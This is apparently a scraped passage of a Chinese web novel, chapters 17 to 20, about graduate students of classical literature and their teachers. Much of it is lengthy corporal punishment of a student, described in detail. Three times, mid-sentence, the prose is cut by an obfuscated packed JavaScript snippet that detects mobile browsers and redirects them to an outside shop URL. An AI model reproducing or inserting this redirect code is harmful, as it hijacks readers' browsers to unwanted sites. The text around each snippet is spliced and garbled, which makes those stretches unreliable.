“可是我真的很难面对自己,我没有想到自己会这么差,差到我甚至后悔来到这里,这像是一个自取其辱的选择,并没有给我带来什么好的结果。而且,我发现自己也越来越……” “越来越难面对巍思。”庄遂平眼眶湿润,“严先生对我们很好,巍思也很好,他在这件事里并没有什么错,但是,我会忍不住一次次跟他比较,越比较,我就会越怨恨,阅冬,你明白吗?” 带着哭腔的疑问像是一把钝刀,缓缓切割着淌血的心脏。 “我最难受的时候,会恨不得他去死……但是我醒悟过来,就会感到很羞愧,我就宁可自己从来没有认识过他……” “你别说话了!”柏阅冬不耐烦的声音从被窝里出来,末了又像是抚慰似的,“睡觉吧,明早起来,我给你一点东西。” 17. 第 17 章 庄遂平一晚上都没睡好,翻来覆去,既忐忑柏阅冬那句话,也有点期待第二天他会收到的东西,辗转一晚上,到了凌晨时分才沉沉睡去。 睡得太晚,早上也醒不来。庄遂平在暖和的被窝中睁开双眼时,外头雪光荧荧,竟是落了初雪。他躲在床上穿了衣服,下来一看,发现柏阅冬已经不在宿舍了。 书桌上,放着柏阅冬给他的东西。两本厚厚的书,是讲明清文学研究的,书上面还放着一个精美的锡皮盒子,和他之前在刘巍思那里偶然见到的一模一样。 庄遂平一时无言。 至于早早就出去了的柏阅冬,自然是跟他老师去纪慎那里请教文献的问题。别看柏阅冬成日在秦昭阳面前嘴皮子利索得很,可一到纪慎那个系主任办公室门前,就怯场得不得了。 “师父,您得走前面呀,敲、敲门呗!” 这绝对是秦昭阳这辈子见过的最不孝的弟子!可是秦昭阳没办法呀,自己收的学生,再怎么样也得带完不是?于是送了他一个白眼,抬手敲门:“纪老师,是我,昭阳。” “请进。” 秦昭阳轻轻拧动门把,满眼的抱歉和无奈:“纪老师,打扰了。” 纪慎先是笑了下,看到后头的柏阅冬,不禁打趣起来:“阅冬怎么大驾光临到我这里来了?” 柏阅冬一脸假笑,心想要不是有求于纪慎,定然要狠狠怼回去,只可惜人在屋檐下,不得不低头,只得尬尬地笑了一声。秦昭阳也没办法,不得不替不孝大弟子解围:“纪老师就别取笑他了,他这来求您帮忙呢!” “是啊,”柏阅冬赶紧补充,生怕又被纪慎插一句接不了的话,“那个,纪老师您大人有大量,帮我看看论文吧!” 双手合十,眉头紧锁,嘴唇紧闭,谁看了不说一句虔诚! 可是纪慎还是揪着他不放,听他说完收集来的文献,恍然大悟似的:“原来那天在图书馆碰到你,你就是在抄文献呀,怪不得这么认真!” 柏阅冬的心理防线顿时被击溃,扯出一个比哭还难看的笑:“是啊!” 等下!柏阅冬警铃大作,他怎么应了声是?这不就是承认他确实碰到纪慎了?但是他那天明明是假装没看见的啊!他应该装到底的! 想通了这一层,再看纪慎,果然一副“小子还嫩得很”的得意表情,秦昭阳则有些奇怪——死小孩早碰到了,怎么不早问?而且干嘛说到这件事这么心虚? 纪慎倒真是大人有大量,不再追究,不紧不慢地点拨:“你既然收集到这么多文献,就可以按照时间顺序和版本内容的差别,尝试排一下系统出来,看不同的版本间是否有明显的相似性……” 柏阅冬站在纪慎身边,边听边记,时而歪头提问,不知不觉一个多小时就过去了。秦昭阳坐在一旁,堪称无聊地陪了全程。 最后,纪慎颇为赞赏地看着小孩,道:“昭阳真是有学生缘,头回招学生就收到一个这么聪明又勤奋的,我们专业现在这么多学生,也就堂生和阅冬有这个学习的劲。” 纪慎说话,大多不能全信,但是柏阅冬聪明又勤奋是事实,秦昭阳也很受用,分明高兴得不行,却只是摆摆手:“纪老师您就别夸他了,省得一出去这死小孩就摇尾巴,生怕人家不知道他写了篇文章似的。” 柏阅冬狠狠瞪了师父一眼,嘴上虚伪道:“是啊,纪老师过奖了。” 客套几句,柏阅冬就跟在秦昭阳屁股后面,辞别纪慎,回到他们角落里的办公室去了。 秦昭阳坐在椅子上,人往靠背上一塌,十足的慵懒放松姿态,可眼神却不断审视着柏阅冬:“你自己看,你好意思吗?人纪老师二话不说什么都教你,你就一天到晚在背后编排人家,没点教养!还有,纪老师说遇到你那回,到底怎么回事?” 柏阅冬和老师的关系一直比较随便,除了上次挨顿打之外,很少被这么正经地训话,以至于他都不敢动了,乖乖地站直:“那天是巍思他师兄带我们去图书馆找文献,我就坐那抄,抄到一半纪老师就来了,我有点不好意思,就没跟他打招呼。”说到最后,声音完全弱了下去。 秦昭阳嗤笑一声:“假装没看见人纪老师吧?你说你有一点礼貌没有?” “我知道错了……” “怪不得,”秦昭阳把桌边的盒子丢了过来,打开盒盖,现出里头的柏树戒尺,“怪不得纪老师送这么个礼物给你,我还死活没想通,原来你在背后这么副德行!” 柏阅冬见着那戒尺,先是一惊,接着不由得腹诽:纪老师可真是万事都离不开打人,送礼物都要送把戒尺,我的屁股这么好,他气坏了吧? 想着想着,柏阅冬不自觉摸起了身后的肉团,眼睛也跟着眯了起来,满是对纪慎的蔑视。 无奈这副模样落到他老师眼里,那可真是跟眼前这把戒尺绝配,当即拿了戒尺出来,指着面前:“你给我站过来!” 柏阅冬登时睁大眼睛:“老师您开什么玩笑?” “你说我开什么玩笑?你师父我要教训不孝弟子!站过来!” 柏阅冬一脸不服,可“哼”了一声,还是不情不愿地过去了。也不待他站好,那戒尺便闷闷地抽了下来,打在厚实的棉裤上,几乎没有痛感。 “啧,怪不得他们都要脱了裤子再打!” “不行!”柏阅冬两手捂着屁股,誓死不从,“你要打就这么打,绝不可能脱裤子!” 秦昭阳也没有正儿八经教训他的意思,便抓着他的手,往爪子上“啪啪啪”抽了几下:“跟我讨价还价!我告诉你,你这文章写好了,自己拿着戒尺去跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590816|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪老师道歉道谢,我再带你去,我就跟你姓!” 柏阅冬赶紧收了手,放在嘴边“呼呼”地吹:“跟着我姓有什么用?分我们家的家产吗?” 秦昭阳真是无语了:“谁稀罕啊?” “很多人都稀罕啊,我们家很有钱的。” “赶紧的拿着你的论文滚吧,写不出来我揍死你,到时候钱都拿去给你买跌打损伤!” 柏阅冬吐出舌头“略略略”几声,骂骂咧咧地走了。 下午上纪老师的课,几个学生一个赛一个的奇怪:庄遂平一直盯着书和笔记本,头似乎被什么压得抬不起来;刘巍思一脸委屈,随时要哭出来的样子,坐也坐不安稳,挪来挪去的;柏阅冬低垂脑袋,却时不时抬起眼皮望纪老师一眼,又立刻心虚地躲闪去;那位文献学专业的同学则满脸写着看戏,但真不知道演的哪一出。 纪慎扫视这群人一眼,心中暗笑,照旧上课。好容易挨到课间,庄遂平才碰了碰柏阅冬:“书和饼干是你给我的吗?” 柏阅冬点点头:“嗯,书是我以前本科老师推荐的,我们那边研究明清比较多,书里有很多有价值的研究课题,你看一下有没有感兴趣的。” 庄遂平笑笑,很是感激,可这一点好心情,却在抬头看见纪老师扶着刘巍思的肩膀走出会议室时消失殆尽。 柏阅冬自然也看见了,道:“你别想这么多,好好把文章写了,比他夸一百句都有用。” 是安慰,但用处不大,庄遂平闷闷地“嗯”了一声,不说话了。 却说刘巍思一到走廊就开口道歉:“纪老师,我错了。” 纪老师笑笑:“怎么?堂生教训你了?” “嗯,”非常不高兴地应了一声,可还是不敢表现出怨怼,“师兄教训得对,我那天太没有礼貌了。” “知道自己没礼貌,还不算太坏!”纪老师揉揉他的脑袋,顺势捏捏他发凉的耳垂,“天气冷,多穿一点,要是病了,你老师多心疼!” 刘巍思不知怎么的,很自然地就挨在纪老师身上了,闷声道:“知道了,老师也是,要保重身体。” “是长大一点了,你以前说这种话的时候从来不害羞。” “哎呀,纪老师,别说了!” “行了,回去吧,别在外头冻着!” “哦,还有,我老师让您有空上我们家吃饭去。”刘巍思边说边被纪老师推回了会议室,“老师您来不来?” 纪老师笑着坐回位置上:“怎么的也不该去麻烦你老师,这样吧,改天你们上我那去吃,老师给你买你爱吃的。” 一个“好”字几乎脱口而出,刘巍思却鬼使神差地看了一眼庄遂平,只见他压着脑袋,没有一点反应。刘巍思收回视线,点了点头:“我回去问问老师。” 18. 第 18 章 “来!”柏阅冬将一堆书和期刊杂志砸在桌上,得意洋洋地叉腰仰头,“以后咱们就这样开学习沙龙!” 庄遂平和刘巍思分坐两侧,面面相觑,一个问到底搞什么,一个拿了本期刊来翻,看到底学习啥。 “难道你们以前都不开学习沙龙吗?”柏阅冬坐下道,“就是大家在一起吃吃喝喝,不是,在一起学习,分享一下最近读的书,写的文章,互相答疑嘛!” 这是图书馆的研讨室,独立空间,一张桌子,几张椅子,可以容纳好几个人。他们这桌子上除了堆成小山的书,还有一堆零食,刘巍思拿起一个花花绿绿的圆筒端详了一会,道:“为什么我觉得主要还是吃吃喝喝?” “食色,性也。吃吃喝喝有什么不对吗?”柏阅冬一脸无所谓,“放轻松,天之骄子们。” 刘巍思放下零食,道:“那不行,我老师知道我在图书馆吃东西,肯定要打我。” “行行行,那你别吃,”柏阅冬扔过去一本期刊,“你看书好吧?” 这俩还在扯皮,庄遂平却问:“我想知道,到底什么才是有意义的课题?” 柏阅冬靠在椅背上,闲闲道:“我觉得不要追求意义,要追求兴趣。你研究出来的东西不就是给别人看的吗?大家都感兴趣,想看,这就是意义啊!你翻一下期刊的目录,看一下你最想看哪篇。”说着,又怕说得不够详细似的,捧了一本厚厚的期刊翻开,“你看这本,这里有一篇南唐中主李璟词的艺术,我就觉得很想看,我还没认真读过李璟呢!” “那,框架呢?” “框架,就是你把研究对象讲清楚的逻辑和思路。你挑一篇文章,如果跟着他的思路你看得很明白,知道他在讲什么,那这就是好的框架,然后你再回过头,看他每一部分写了什么,想一下他为什么这样安排写作顺序,研究个几次,你就知道怎么搭框架了。” 刘巍思不禁笑出声:“阅冬,你这可是比纪老师讲得清楚多了。” “倒不是我贬低纪老师,我只是觉得,像纪老师这样的老师,虽然做研究很厉害,但是他们不一定就会教啊!就像写诗厉害的人也不一定能说出来写诗的技巧,对吧?” 刘巍思点点头:“有道理,其实你不说这些,我也不知道怎么选题目怎么搭框架。” 庄遂平狐疑地看着他:“你怎么可能不会?你……你很厉害啊……” “刘巍思是例外啊,他是严老师的翻版,什么都跟着严老师学,按理说刘巍思会比我们扎实很多,而且更加融会贯通游刃有余,不过他都跟严老师呆一起十几年了,别人也学不来。”柏阅冬一边解释一边翻期刊,话音刚落眼睛就挪不开了。 一秒前还在说话,下一秒就能立刻学习,天赋异禀。 几人安安静静地看了一会书,直到柏阅冬发笑:“哎,这帮搞历史的疯了吧?你们看这个,它说印第安人其实是中国人,他们是流落他乡的商朝人,非常思念故土,每次见面就问殷地安否,所以是印第安人,是不是有病啊?” 刘巍思也迫不及待分享自己看到的:“阅冬,你看,这篇说可以用测颅骨的方式来确定民族,就这样。”说着还在自己脑袋上比划了一下。 “这帮搞民族学的也疯了?” “我前段时间还在想呢,陶渊明到底是不是什么溪族人?” “但是他是或者不是,意义很大吗?他的民族是否影响了他的人生选择、诗文创作?或者说他的存在和成就是否给这个民族带来了改变和进步?如果都没有的话,你说他是**尔族我也觉得随便吧。” 刘巍思点了点头,又道:“不过,Z大一直在研究少数民族文学文学,最近好像要出版什么少数民族文学史,还请我老师去了一趟。” 柏阅冬眉毛一动:“那有招待活动吗?” 刘巍思跟他心有灵犀一般,眉飞色舞:“我老师说那个饭店很好吃,下回咱们也去!” “哈哈哈哈下次我再发文章,请你们去。”柏阅冬说着就站起身来,“我找李璟的集子去了,你们别走啊!” 庄遂平听着他们俩你来我往的,自己一句话都插不上,不禁有些失落,又看到柏阅冬年纪这么小,可做什么都有主见有想法,更觉自己与别人差距甚大。 平静下来的研讨室里,刘巍思一下就注意到了庄遂平的落寞,又看看他面前的书,一下被勾起了兴趣:“遂平,你开始找明清的课题了?” “哦,这是阅冬送给我的。” 刘巍思拿过来翻了一下,突然眼前一亮:“哎,这个万寿祺,诗有靖节遗风,改天我也去找他的集子来瞧瞧。不过,是遗民诗人都有一点还是只有他有呢?” 庄遂平又震惊了:“为什么你们能这么快找到可以研究的东西?” 刘巍思挠挠头,也不大说得上来:“可能是因为我研究陶渊明,所以一看到有关的,就会忍不住想。等你有了具体的研究对象,你也会这样的。这些遗民挺会写啊,比什么前后七子强多了……” 庄遂平只觉得胸上压了一块大石头,几乎呼吸不过来了。 柏阅冬花了几天时间写完了论文,本来打算蒙混过关,没曾想他师父记得清楚,一再催促他去纪老师那认个错,柏阅冬没法子,只得硬着头皮去了,结果出门前还被他师父往怀里塞了那把戒尺。 柏阅冬翻了个白眼,要是回来屁股不是肿的,说明他不够诚恳呗! 不过是从一个办公室走到另一个办公室,走廊上也没啥人,可柏阅冬就是尴尬得很,尤其那柄戒尺,简直烫手,拿在手里不对劲,放在论文本子上又怕掉,太长了还揣不进兜里,真没办法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590817|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 到了纪老师办公室门前,柏阅冬把戒尺往身后一藏,敲门进去了。 “纪老师,我上次的论文写完了,拿来给您看看。”柏阅冬说着,单手将论文本子递了过去。 纪慎没有立刻接,上下打量他一会,见他一手背在身后,玩味地瞟了几眼,道:“其实你也不用特地拿来给我看,秦老师看过不就行了?” 虚伪!柏阅冬偷偷骂了一句,但嘴上还是恭恭敬敬的:“纪老师,您就看看吧,不然我也没法跟老师交代啊!” 纪慎轻笑一声:“行,那我就看看。” 柏阅冬这篇论文花了很大的功夫,前前后后严先生、秦昭阳、易堂生都看过,到纪慎这里其实挑不出大的毛病了,纪慎也只是提了些注意表达简洁一类的意见,柏阅冬点点头,表示回去会再修改。 “那就行了,回去吧。” 这阴森森的笑,根本就是欲擒故纵!柏阅冬身上背着事,不可能真走,只得主动承认错误:“老师,我那天不是故意不跟您打招呼的,当时太尴尬了……” “哪天呢?”纪慎两手抱在胸前,“日子这么长,你不说清楚,我都记不得了。” 怎么可能记不得?不就是非要逼我说出来吗? “就是上回在图书馆,我和刘巍思还有易师兄在古籍阅览室抄文献,碰到您带学生去,”柏阅冬心想,这种破事,碰上一次就够了,千万别来第二次,“我当时知道您在那,但是我、我假装没看见您……” 纪慎掸了掸身上并不存在的灰:“你这么怕我呀?看来我这个老师不怎么有亲和力。” “不不不不不,是我的问题,是我,我没礼貌,”柏阅冬快要说崩溃了,从小到大还没这样认过错呢,纪慎也太会折磨人,“我真知道错了,老师原谅我吧。” “说什么原谅不原谅的,你是昭阳的学生,我跟昭阳关系很好的呀,我怎么会放在心上?” 是吗?可是你好像每时每刻都把这件事放在心上呀! 柏阅冬走投无路,只得磨磨蹭蹭拿出身后的戒尺,双手颤颤巍巍地举着:“那要不,老师……” 不行,根本说不出口。 纪慎一手放在桌上,手指一下下点着桌面,笑道:“我那天回来,正好经过一家做木家具的店,看他们也做些小玩意儿,就给你订了这个,你觉得还适合你吧?” “适、适合……” 纪慎没有后话了,手指仍一下下动着,直勾勾盯着学生。柏阅冬被盯得头皮发麻,手里戒尺晃得厉害,连声音也抖了起来:“老师,我、我知道错了,请老师……” 屁股不知怎么的紧绷起来,还隐隐作痛,柏阅冬不由得想起在师父家里挨的一顿鸡毛掸子——屁股真的很痛啊呜呜呜! “请老师,罚我吧。” 19. 第 19 章 那时候的师生关系还比较传统,尤其是动乱之后,尊师重道、一日为师终生为父的观念似乎得到了加强,被认可的学生是像易堂生、刘巍思那样的,听话、有礼,对老师们万分尊敬,而柏阅冬,堪称大逆不道。 纪慎其实没见过几个这样的学生,若是本科生,最多教训几句,但是柏阅冬是他眼皮子底下的研究生,以后要走这条路进这个圈,他不能容许这个小孩长歪。 “柏阅冬,你知不知道你说这句话是什么意思?” 纪慎明显认真了起来,柏阅冬稳了稳手中戒尺,慎重地点了点头。 “你的性格,跟你老师很像,但是你应该知道,你老师是很有底线的,莫说他当学生的时候,哪怕现在他自己也带了学生,对师长也还是恭恭敬敬。你跟在你老师身边,不能只学做学问。” 这话说得很重了,翻译一下就是你还不会做人,得学。柏阅冬被说得脸上一热,羞愧道:“我知道了,纪老师。” “我到底不是你老师,你若是不愿意受我教训,现在还可以回去。” 最后一次机会,但是柏阅冬却没回头路可走了,认错的话说了那么多,说得那样诚恳,如果这时候走人,相当于表示刚刚都在说谎和敷衍。 柏阅冬捧着戒尺,微微弯了腰,再次道:“请纪老师,罚、罚我吧……”还是害羞,没法把这种话说得顺溜。 纪慎还算满意,伸手接了戒尺,指挥道:“裤子褪了,撑这里。” 柏阅冬的白脸一下红到脖子根,裤子褪了这样的话,简直……太羞人了!他来这么久,也只有一次脱了裤子挨打,还是师父把他绑起来扒掉的,让他自己动手,也太…… 但是他面前的是纪慎啊纪慎!又不是秦昭阳。 不知道巍思和遂平挨打的时候是不是也这样,应该是吧,他们俩这么乖。柏阅冬脑海里忽然浮现出那俩人乖乖脱裤子撑在这里的模样,脸更红了。 “老师,能不能……” “不能,”纪慎目光锐利如鹰,“天气这么冷,你的裤子不会薄,我不想白费力气,而且,脱了裤子挨打,你会记得更牢。” 脸烧得厉害,柏阅冬根本没法和他直视,却忍不住想,你怎么知道记得牢?你也这么挨打? 没有办法了,柏阅冬两手放在精致的皮带扣上,“咔哒”一声,松开金属扣。这皮带、皮带系着的裤子都是外国货,看着就比刘巍思、庄遂平那俩洋气,但是再洋气,也还是一样的命运。 松开的裤子往下掉了掉,柏阅冬却不一层层脱,反倒将裤头提到腰身,连同内裤一并扯了下来! 屁股突然裸露在外,不由得打了个冷颤,柏阅冬受惊一般闭紧了双眼,自欺欺人。 刘巍思和庄遂平的身体精瘦而有力量,明显是从小干活长大的。可是柏阅冬不一样,皮肤细腻白皙,两团肉挺翘而有弹性,跟小孩似的,一看便知没吃过苦,娇生惯养。 纪慎想,确实是个欠教训的屁股。 戒尺点了点桌边:“手,撑过来。” 柏阅冬抓着搭在大腿处的裤子转了个身,学着他当时看见的庄遂平的姿势,两手手掌往桌上一撑,上身自然前倾,身后两团肉也微微撅起了些。 真的好难堪啊!柏阅冬忽然理解了庄遂平当时为什么这么生气,要是现在有个人闯进来帮他解围,他宁可一头撞死! 戒尺忽然搭了上来,冰凉的触感差点让他坏了姿势:“嘶……” “还没打,叫什么?”纪慎说着站了起来,似乎在观察什么样的角度能让戒尺每一次落下都照顾他两团肉。 “冰……”柏阅冬度秒如年,咬牙道,“老师,您、快些打吧。” 纪慎轻笑一声:“柏阅冬,你还是没有知错。” ???柏阅冬都要疯了,怎么会还不知错呢? 纪慎解释道:“你要是真的知错了,就不会为了快点结束这场惩罚而让我快些打,你的心,根本没有在反省。” “老师,我只是……” “无妨,”纪慎打断了他的辩解,“我慢慢教就是。” 柏阅冬心下一凉,预感到戒尺真的要落下来了,果然下一秒纪慎的手就搭在他的后腰,仿佛是为了防止他乱动。他的所有注意力都放在身后,就像眼睛长到了后头,他能看见纪慎盯着他的屁股,也能看见纪慎高高举起了戒尺,然后—— “啪!” “啊!!”柏阅冬膝弯一屈,差点跪下来。戒尺抽在他臀尖上,带来火辣的痛感,夹杂着针刺一般的酥麻。要说痛感的话,他必须承认这戒尺没有师父家里的鸡毛掸子厉害,可是为什么纪慎一戒尺下来就能让他腿软? “起来,撑好。” 柏阅冬重新摆好姿势,再次等待戒尺下来。 “啪!” “唔……老师……”膝弯还是屈了一下,但柏阅冬自己稳住了,只是眼角渗出了眼泪。这一戒尺照旧抽在臀尖上,叠着前面的伤,钝钝的疼在肉上。 “啪!” “啊!老师……好疼……” 眼看那两团肉紧紧缩了起来,纪慎拍了拍他的腰:“放松,这才刚刚开始。” ?这是人话吗?柏阅冬已经感觉到臀尖肿起来了,可是这才刚开始?那要是到结束,他这个屁股不用要了呗! “啪!” “啊!老师轻点……” “啪!”“不要求饶,没有用。” “嘶……但是真的很疼……” “啪!”“不疼我也不会打你,你就是不知道疼,才会这么无法无天!” 柏阅冬疼得五官皱成一团,也不愿意再挨,可根本没有胆子起身说我不挨了。他这才明白刘巍思和庄遂平为什么都会被纪慎打,人到了这种境况之下,其实已经没有选择了。更何况,遂平还是纪慎的学生。 纪慎一下下抽打着那个白皙的屁股,十几下过去就把臀尖一处打成了深红,与周围的肤色形成了鲜明对比,学生呃呃啊啊地喊着疼,屁股也不由自主扭动起来,却没有真的逃罚——第一次挨打,这样的表现也还算可以。 “老师,老师,换个地方打,太疼了……”柏阅冬泪水濡湿了眼眶。 纪慎原本也打算换地方了,便如了他的意:“别乱动,我打别的地方。” 柏阅冬听闻此言,如获大赦,忙乖乖撑好,格外羞耻。 纪慎将戒尺往下移了点,“啪”地抽在臀尖下一出,生硬新鲜的疼痛瞬间令柏阅冬痛呼出声,不过尚可忍受。 打一处就要把一处打到红肿,痛到他哭,这是纪慎教训他的方式。柏阅冬没有选择,只能像刚才一样,每挨一下就喊一声,企图发泄和转移身后的疼痛。 然而疼痛越来越多越来越厚,那两团肉已热得发烫,柏阅冬也疼得流下了眼泪,不由得哀求:“老师……” 臀尖下这处也同样深红,底下泛着星星点点的血痧。只是戒尺抽下,不过两指宽一道痕,现在臀上不过四指宽的红痕,还不算什么教训。 “屁股撅好,再打。” 柏阅冬堪称绝望地闭上了眼睛:“老师,我知道错了……” “怎么?难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590818|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道你指望挨几下戒尺就回去?秦老师没有告诉你,我教训学生,从来没有手软的?” 柏阅冬吸了下鼻子,抬手擦掉脸上一颗泪珠,再次撑好,委屈道:“老师,我真的知道错了……” 这会的认错倒是有几分诚意了,纪慎忍不住揉了揉他的头发,声音也不自觉带上了些许温度:“所以老师才惩罚你。” “我知道,”柏阅冬的哭腔完全受不住了,“老师打吧,我以后、以后不这样了……呜……” 别说庄遂平,就是刘巍思那么乖的,纪慎打了好几年也没心疼过他那个屁股,倒是现在柏阅冬让他有点不忍心了。纪慎稳了稳心神,道:“撑好了。” 话音刚落,戒尺就“啪”地抽了下来,柏阅冬眼前一黑,差点咬掉舌头。这一轮戒尺又继续往下打了,“啪啪啪啪”的,很快将那一处皮肤由白皙打成绯红,又打成深红色,脆弱的皮肤高高肿起,碰一碰都疼。 柏阅冬疼得眼泪直掉,嘴里呜呜哇哇的,姿势却是一点都不敢动,纪慎几乎要心疼他了。 “腿抻直,要往下打了。” 再往下,就是臀腿了,柏阅冬没怎么挨过打,没有经验,只是听话地撅起屁股,抻直腿,将那一处皮肉完全打开。却不想,戒尺一抽下去,那疼痛直击灵魂,让他惨叫出声:“啊!!好疼好疼!老师不要打那里!” 纪慎知道那里皮肤嫩,受不得疼,但是他仍然决定给小孩一个深刻的教训。 “撑好。” “老师……”柏阅冬扭过头,泪眼汪汪地看着他,可怜得不得了。 纪慎要被他打败了,无奈地放缓了声音:“听话,只打十下。” 柏阅冬数着数,之前每一轮都打十几二十下,打十下已经算开恩了,但是这个地方真的好痛啊! “老师轻一点……” 纪慎用力按在他后腰,提醒他撅好屁股:“阅冬,你会在这里挨打,都是自己讨的,现在求饶,太晚了。” 柏阅冬知道今日难逃此劫,只得用力撑好,准备迎接疾风骤雨般的责打。果然,才刚摆好姿势,戒尺便兜风抽了下来,柏阅冬“哇”一声哭了出来。 纪慎心想真是细皮**不经打,却没放水,仍旧一板一眼,“啪啪啪”地抽完了说好的数目,十下打完,柏阅冬右边臀腿都有些破皮了。 柏阅冬心知打完了,哭着趴到桌上,光着个屁股,跟小孩子耍赖一样。 纪慎放下戒尺,把他扶了起来:“阅冬,站好。” 柏阅冬左倒右倒,好不容易才站好,泪眼婆娑地抓着裤子要穿,又是痛得要晕过去。 纪慎提醒道:“有些破皮了,回去要上点药,处理一下。” 柏阅冬疼得没心情应,纪慎坐会位置上,等他平复了才道:“阅冬,你知不知道,为什么戒尺上刻的是半棵柏树?” 柏阅冬擦了眼泪,抽抽噎噎的:“我知道,我没长大。” “你知道就好,老师希望你是好好长大的,你明白吗?” 柏阅冬点了点头,拿起论文本子和戒尺:“那,那我回去了。” 小孩都走出两步了,纪慎忽然笑道:“就回去了?” 柏阅冬懵懂地回头:“不然呢?” 小孩子如果能好好长大,还是很讨人喜欢的。纪慎心中有些柔软,温声道:“要谢罚。” 哭得粉扑扑的脸瞬间红了两个度,柏阅冬拿着东西的手紧了紧,盯着纪慎看了好半天,最后才支支吾吾道:“谢、谢老师。”说罢,落荒而逃。 纪慎一下笑出了声。 20. 第 20 章 彻底入冬之后,时间过得飞快。这一学期的两门课结束以后,大家的时间都可以自由安排,看书的看书,写论文的写论文,要不是柏阅冬和庄遂平住一个宿舍,估计都见不上几面。 这天柏阅冬在学院逮住了刚从院长那里出来的刘巍思:“巍思!我是不是好几周没见你了?你忙啥?” 刘巍思晃了晃手里的几个本子,道:“我在帮我老师筹备下学期的学术会议,抽不出空来,课程论文还没写呢!” 柏阅冬眉头一皱:“严老师要开学术会议了?” 刘巍思点点头:“嗯,我就是来找院长签条子的,其实这些事之前都是我大师兄干,但是我老师下学期要开本科生的一门选修课,我大师兄又忙着帮我老师选上课文本,只好我来跑腿了。童院长还说呢,他有篇文章刚写好的,也不发了,就等着会议上读。” 柏阅冬的脸色有点奇怪,焦急中带点震惊:“可是我们都不知道啊!” “四月呢,这个月就会在期刊上登消息收稿子了。” 四月,柏阅冬思索一会,竟扭头丢下刘巍思跑了。刘巍思一头雾水:“阅冬!跑啥?” 柏阅冬一路狂奔到秦昭阳家里,一头撞上正要出门的师父,气都喘不上来就抢道:“师父!我有事要跟你说!” “你先别说,让我先说!”秦昭阳也是一脸着急。 “不,我的事情比较急……” “急不过我!我跟你说……” “严老师要开学术会议了!” “严老师要开学术会议了!” 师徒俩异口同声,说完之后相视一笑。柏阅冬走进屋里,脱了脖子上的围巾,看老师给自己倒热水,迫不及待道:“师父,你想点办法,让我去读论文。” 秦昭阳把水杯放在茶几上:“办法好想,你送哪篇论文去?” “我送……”柏阅冬卡了一下,忽然反应过来一个问题,“我现在没有文章了呀!四月开,最晚三月就得投,这都快寒假了,我怎么写?” “有没有什么想法?你赶一赶,写出来再说。” 柏阅冬有点丧气,整个人歪在沙发上,琢磨了好一会儿,道:“文章没有,但是,有一个馊主意。” 秦昭阳笑了声:“不是上策?” “这真不是上策,”柏阅冬有点犹豫,“但是,我真的很想去,这是很重要的机会,师父您明白吧?” “我当然知道啊,到时候全国这么多专家过来,当场指点讨论,人家在外地挤破了头都要来,你当然要去!20岁的研究生啊,”秦昭阳想了想那个场面,不禁啧啧赞叹,“不说名垂青史,至少也是名扬四海。” “嗯,师父您说的对,所以我决定撤稿。” “你说啥?” “就是前段时间投出去的那篇啊,说年后发,现在撤,应该来得及吧?” 秦昭阳看着学生半晌,似乎在思考这个主意到底有多馊,突然起身指着电话道:“马上打电话,说你要撤稿。” 柏阅冬二话不说,连滚带爬冲到电话旁,凭记忆拨了那个期刊的联系电话。 秦昭阳在一旁听着,随时准备接过来亲自上阵,但是那头似乎松口得比较快,十几分钟就搞定了,唯一的要求是让柏阅冬提供一份篇幅相差无几的论文填补空缺。 “师父,”柏阅冬挂了电话,高兴得不得了,“我找篇文章去!” “你上哪儿找文章去?你不是没文章了吗?” 柏阅冬抓着围巾就“哒哒哒”出门了:“我找巍思去!” 刘巍思花了好几天时间才帮严先生办妥学术会议的事。严先生本来不想耽误他写课程论文,但年纪上来了,天寒地冻的也确实要人帮忙,好在都弄完了,便一天到晚催着他写论文。 刘巍思想论文想得头疼,一有点头绪就忍不住要跟老师说,晚饭时边吃边问,饭没吃几口,问题倒是问了一箩筐。 严先生往他碗里夹了几块红烧肉,让他多吃点:“你这问题这么多,写毕业论文呢?” “那我没想清楚,就写不了呀!” “那你就随便写写,老师给你高分。” “老师就会哄我,我要是写得不好,看到了又要打我。” 严先生笑了笑:“好啦,知道你认真,你是帮老师干活才耽误了时间,老师不打你。” 刘巍思有点不甘心,他还是很喜欢自己这个论文课题的,不想敷衍:“老师,您说我这篇文章要是好好写,能不能发呀?陶渊明的生命哲学在诗文中的体现,不对不对,应该是陶渊明诗文中的生命哲学?” “你着急发文章?才一年级呢!读研究生了,老师不带你了,你自己发啊!” “我就是知道要自己发才问您呀!前两天阅冬给了我一个学报,说是着急要稿子呢,但是我也没那么快写出来,就没答应他,不知道他是不是找遂平去了。” 严先生有些谨慎地放下碗,看着学生,道:“巍思,要发出去的东西,你要小心。” 